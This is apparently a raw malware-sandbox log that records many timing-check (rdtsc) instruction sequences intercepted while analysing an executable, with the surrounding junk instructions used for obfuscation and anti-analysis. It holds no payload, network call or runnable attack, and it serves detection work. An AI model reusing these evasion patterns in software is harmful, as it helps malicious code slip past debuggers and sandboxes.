Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCA748 second address: CCA77E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC154CB171h 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push edi 0x0000000b pop edi 0x0000000c pop edx 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 pushad 0x00000011 js 00007FBC154CB166h 0x00000017 jmp 00007FBC154CB16Ch 0x0000001c pushad 0x0000001d popad 0x0000001e popad 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCA77E second address: CCA782 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCA782 second address: CCA79C instructions: 0x00000000 rdtsc 0x00000002 je 00007FBC154CB166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnc 00007FBC154CB16Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCA79C second address: CCA7A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCA8D0 second address: CCA913 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push edx 0x00000006 pop edx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jno 00007FBC154CB17Bh 0x00000012 js 00007FBC154CB17Ch 0x00000018 ja 00007FBC154CB166h 0x0000001e jmp 00007FBC154CB170h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCA913 second address: CCA932 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jmp 00007FBC14D8F5C9h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCA932 second address: CCA936 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCA936 second address: CCA94F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBC14D8F5BBh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jl 00007FBC14D8F5BEh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCAEC0 second address: CCAEC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCAEC6 second address: CCAED0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCB00C second address: CCB011 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCB159 second address: CCB167 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FBC14D8F5B6h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCB167 second address: CCB17F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FBC154CB173h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCB17F second address: CCB18E instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FBC14D8F5BAh 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCB712 second address: CCB718 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCB890 second address: CCB8A4 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FBC14D8F5B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jo 00007FBC14D8F5B6h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCB8A4 second address: CCB8BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FBC154CB171h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCB8BB second address: CCB8C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC15A3 second address: CC15AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC15AB second address: CC15D1 instructions: 0x00000000 rdtsc 0x00000002 je 00007FBC14D8F5B6h 0x00000008 jc 00007FBC14D8F5B6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 jmp 00007FBC14D8F5C2h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCBA32 second address: CCBA38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCC11A second address: CCC141 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push edi 0x00000007 pop edi 0x00000008 jmp 00007FBC14D8F5C8h 0x0000000d jne 00007FBC14D8F5B6h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCC141 second address: CCC146 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCC146 second address: CCC18A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FBC14D8F5B6h 0x0000000a jns 00007FBC14D8F5B6h 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushad 0x00000014 jnp 00007FBC14D8F5BAh 0x0000001a push ebx 0x0000001b pop ebx 0x0000001c push edi 0x0000001d pop edi 0x0000001e pushad 0x0000001f push ecx 0x00000020 pop ecx 0x00000021 pushad 0x00000022 popad 0x00000023 js 00007FBC14D8F5B6h 0x00000029 jmp 00007FBC14D8F5C0h 0x0000002e popad 0x0000002f jo 00007FBC14D8F5BEh 0x00000035 push esi 0x00000036 pop esi 0x00000037 push eax 0x00000038 push edx 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCC2D6 second address: CCC2DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCC429 second address: CCC42D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCC42D second address: CCC47A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 jg 00007FBC154CB166h 0x0000000f jmp 00007FBC154CB173h 0x00000014 pop ecx 0x00000015 pop ecx 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 jmp 00007FBC154CB16Eh 0x0000001e push ecx 0x0000001f pop ecx 0x00000020 jmp 00007FBC154CB175h 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCC47A second address: CCC48A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007FBC14D8F5B6h 0x0000000a jc 00007FBC14D8F5B6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCC48A second address: CCC48E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCC48E second address: CCC498 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCC498 second address: CCC49C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCE3D5 second address: CCE3DF instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FBC14D8F5B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCFF89 second address: CCFF8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCFF8D second address: CCFFBA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC14D8F5BFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FBC14D8F5C5h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCFFBA second address: CCFFBE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCFFBE second address: CCFFC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD11B9 second address: CD11D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 pushad 0x00000007 popad 0x00000008 pop eax 0x00000009 jg 00007FBC154CB16Ah 0x0000000f popad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD11D2 second address: CD11D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9832D second address: C98348 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC154CB171h 0x00000007 jl 00007FBC154CB166h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD9D5B second address: CD9D9C instructions: 0x00000000 rdtsc 0x00000002 ja 00007FBC14D8F5E7h 0x00000008 push eax 0x00000009 push edx 0x0000000a jns 00007FBC14D8F5B6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD9A46 second address: CD9A4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD9A4D second address: CD9A88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007FBC14D8F5C9h 0x0000000a push ebx 0x0000000b pushad 0x0000000c popad 0x0000000d pop ebx 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FBC14D8F5C6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD9A88 second address: CD9A94 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FBC154CB166h 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDCA9B second address: CDCAAC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBC14D8F5BDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDCB56 second address: CDCB5B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDCF0B second address: CDCF11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDCF11 second address: CDCF16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDCF16 second address: CDCF20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FBC14D8F5B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDCF20 second address: CDCF2F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDCF2F second address: CDCF33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDCF33 second address: CDCF41 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC154CB16Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDDA77 second address: CDDA9C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC14D8F5BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FBC14D8F5C1h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDDA9C second address: CDDAA2 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDDEA6 second address: CDDEDA instructions: 0x00000000 rdtsc 0x00000002 jno 00007FBC14D8F5BCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d call 00007FBC14D8F5BFh 0x00000012 mov dword ptr [ebp+122D2873h], eax 0x00000018 pop edi 0x00000019 sub dword ptr [ebp+122D1ECCh], esi 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDE300 second address: CDE304 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE0956 second address: CE09D1 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FBC14D8F5B8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e jno 00007FBC14D8F5B8h 0x00000014 pop eax 0x00000015 nop 0x00000016 push 00000000h 0x00000018 push ebx 0x00000019 call 00007FBC14D8F5B8h 0x0000001e pop ebx 0x0000001f mov dword ptr [esp+04h], ebx 0x00000023 add dword ptr [esp+04h], 00000015h 0x0000002b inc ebx 0x0000002c push ebx 0x0000002d ret 0x0000002e pop ebx 0x0000002f ret 0x00000030 cld 0x00000031 push 00000000h 0x00000033 push 00000000h 0x00000035 push edi 0x00000036 call 00007FBC14D8F5B8h 0x0000003b pop edi 0x0000003c mov dword ptr [esp+04h], edi 0x00000040 add dword ptr [esp+04h], 00000014h 0x00000048 inc edi 0x00000049 push edi 0x0000004a ret 0x0000004b pop edi 0x0000004c ret 0x0000004d clc 0x0000004e push 00000000h 0x00000050 jo 00007FBC14D8F5B6h 0x00000056 xchg eax, ebx 0x00000057 jmp 00007FBC14D8F5C0h 0x0000005c push eax 0x0000005d push eax 0x0000005e push edx 0x0000005f pushad 0x00000060 jnl 00007FBC14D8F5B6h 0x00000066 push eax 0x00000067 pop eax 0x00000068 popad 0x00000069 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE09D1 second address: CE09DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007FBC154CB166h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE147E second address: CE14D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edi 0x00000009 jmp 00007FBC14D8F5C5h 0x0000000e pop edi 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push ecx 0x00000013 call 00007FBC14D8F5B8h 0x00000018 pop ecx 0x00000019 mov dword ptr [esp+04h], ecx 0x0000001d add dword ptr [esp+04h], 0000001Ch 0x00000025 inc ecx 0x00000026 push ecx 0x00000027 ret 0x00000028 pop ecx 0x00000029 ret 0x0000002a cld 0x0000002b push 00000000h 0x0000002d sbb esi, 0D9ADA0Ah 0x00000033 push 00000000h 0x00000035 cmc 0x00000036 push eax 0x00000037 push eax 0x00000038 push edx 0x00000039 pushad 0x0000003a push edi 0x0000003b pop edi 0x0000003c pushad 0x0000003d popad 0x0000003e popad 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE1210 second address: CE1222 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC154CB16Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE1222 second address: CE1237 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBC14D8F5C1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE2EB7 second address: CE2ED3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC154CB16Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jl 00007FBC154CB182h 0x0000000f push ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE2ED3 second address: CE2EE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 js 00007FBC14D8F5B6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE3558 second address: CE355D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE355D second address: CE3605 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC14D8F5C7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push esi 0x0000000d call 00007FBC14D8F5B8h 0x00000012 pop esi 0x00000013 mov dword ptr [esp+04h], esi 0x00000017 add dword ptr [esp+04h], 00000019h 0x0000001f inc esi 0x00000020 push esi 0x00000021 ret 0x00000022 pop esi 0x00000023 ret 0x00000024 jmp 00007FBC14D8F5BDh 0x00000029 mov esi, dword ptr [ebp+122D38FBh] 0x0000002f push 00000000h 0x00000031 xor di, F6E3h 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push eax 0x0000003b call 00007FBC14D8F5B8h 0x00000040 pop eax 0x00000041 mov dword ptr [esp+04h], eax 0x00000045 add dword ptr [esp+04h], 00000018h 0x0000004d inc eax 0x0000004e push eax 0x0000004f ret 0x00000050 pop eax 0x00000051 ret 0x00000052 jo 00007FBC14D8F5C6h 0x00000058 jmp 00007FBC14D8F5C0h 0x0000005d push eax 0x0000005e push eax 0x0000005f push edx 0x00000060 jmp 00007FBC14D8F5C6h 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE3605 second address: CE360B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE3FC6 second address: CE4027 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FBC14D8F5B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d mov esi, dword ptr [ebp+122D3A1Fh] 0x00000013 push 00000000h 0x00000015 and esi, 57BC9E5Ah 0x0000001b push 00000000h 0x0000001d pushad 0x0000001e push edx 0x0000001f jmp 00007FBC14D8F5C1h 0x00000024 pop eax 0x00000025 mov edi, dword ptr [ebp+12462AD4h] 0x0000002b popad 0x0000002c mov edi, ecx 0x0000002e xchg eax, ebx 0x0000002f pushad 0x00000030 jmp 00007FBC14D8F5C5h 0x00000035 jl 00007FBC14D8F5B8h 0x0000003b push edi 0x0000003c pop edi 0x0000003d popad 0x0000003e push eax 0x0000003f push eax 0x00000040 push edx 0x00000041 push eax 0x00000042 push edx 0x00000043 pushad 0x00000044 popad 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE4027 second address: CE403A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC154CB16Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE68DD second address: CE68EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBC14D8F5BEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE68EF second address: CE6958 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push edx 0x0000000e call 00007FBC154CB168h 0x00000013 pop edx 0x00000014 mov dword ptr [esp+04h], edx 0x00000018 add dword ptr [esp+04h], 0000001Dh 0x00000020 inc edx 0x00000021 push edx 0x00000022 ret 0x00000023 pop edx 0x00000024 ret 0x00000025 mov bx, ax 0x00000028 push 00000000h 0x0000002a push 00000000h 0x0000002c push 00000000h 0x0000002e push edi 0x0000002f call 00007FBC154CB168h 0x00000034 pop edi 0x00000035 mov dword ptr [esp+04h], edi 0x00000039 add dword ptr [esp+04h], 00000015h 0x00000041 inc edi 0x00000042 push edi 0x00000043 ret 0x00000044 pop edi 0x00000045 ret 0x00000046 pushad 0x00000047 mov bx, EC13h 0x0000004b mov al, BFh 0x0000004d popad 0x0000004e mov dword ptr [ebp+122D57DFh], edx 0x00000054 push eax 0x00000055 pushad 0x00000056 pushad 0x00000057 pushad 0x00000058 popad 0x00000059 push eax 0x0000005a push edx 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE6958 second address: CE6971 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007FBC14D8F5C1h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE78D3 second address: CE78FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop esi 0x00000006 push eax 0x00000007 jmp 00007FBC154CB16Bh 0x0000000c nop 0x0000000d mov edi, dword ptr [ebp+122D38A7h] 0x00000013 push 00000000h 0x00000015 mov bx, 8308h 0x00000019 push 00000000h 0x0000001b mov edi, ebx 0x0000001d xchg eax, esi 0x0000001e push eax 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE78FC second address: CE7900 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE7900 second address: CE790E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE96EF second address: CE96FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE96FB second address: CE9758 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 push ecx 0x00000008 jne 00007FBC154CB166h 0x0000000e pop ecx 0x0000000f popad 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push ebp 0x00000014 call 00007FBC154CB168h 0x00000019 pop ebp 0x0000001a mov dword ptr [esp+04h], ebp 0x0000001e add dword ptr [esp+04h], 00000015h 0x00000026 inc ebp 0x00000027 push ebp 0x00000028 ret 0x00000029 pop ebp 0x0000002a ret 0x0000002b call 00007FBC154CB172h 0x00000030 mov edi, 287914CCh 0x00000035 pop edi 0x00000036 push 00000000h 0x00000038 push edi 0x00000039 or dword ptr [ebp+1247221Fh], edi 0x0000003f pop ebx 0x00000040 push 00000000h 0x00000042 xor edi, dword ptr [ebp+1244B747h] 0x00000048 xchg eax, esi 0x00000049 pushad 0x0000004a push esi 0x0000004b push eax 0x0000004c push edx 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE9758 second address: CE977B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push ebx 0x00000006 jmp 00007FBC14D8F5C5h 0x0000000b pop ebx 0x0000000c popad 0x0000000d push eax 0x0000000e push ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE977B second address: CE977F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE977F second address: CE9783 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEA68A second address: CEA696 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
